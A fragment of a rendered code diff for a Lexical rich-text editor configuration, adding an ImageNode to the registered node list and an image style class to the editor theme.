export const RICH_TEXT_NODES: ReadonlyArray<Klass<LexicalNode>> = [
|
|
15
17
|
HeadingNode,
|
|
@@ -24,6 +26,7 @@ export const RICH_TEXT_NODES: ReadonlyArray<Klass<LexicalNode>> = [
|
|
|
24
26
|
CodeNode,
|
|
25
27
|
CodeHighlightNode,
|
|
26
28
|
HorizontalRuleNode,
|
|
29
|
+
ImageNode,
|
|
27
30
|
];
|
|
28
31
|
|
|
29
32
|
export const richTextTheme: EditorThemeClasses = {
|
|
@@ -37,6 +40,7 @@ export const richTextTheme: EditorThemeClasses = {
|
|
|
37
40
|
h6: "mt-2 mb-1 text-xs font-semibold uppercase tracking-wide",
|
|
38
41
|
},
|
|
39
42
|
hr: "my-3 border-t border-line",
|
|
43
|
+
image: "inline-block h-auto max-w-full align-bottom",
|
|
40
44
|
link: "text-accent underline",
|
|
41
45
|
list: {
|
|
42
46
|
listitem: "ml-2",
|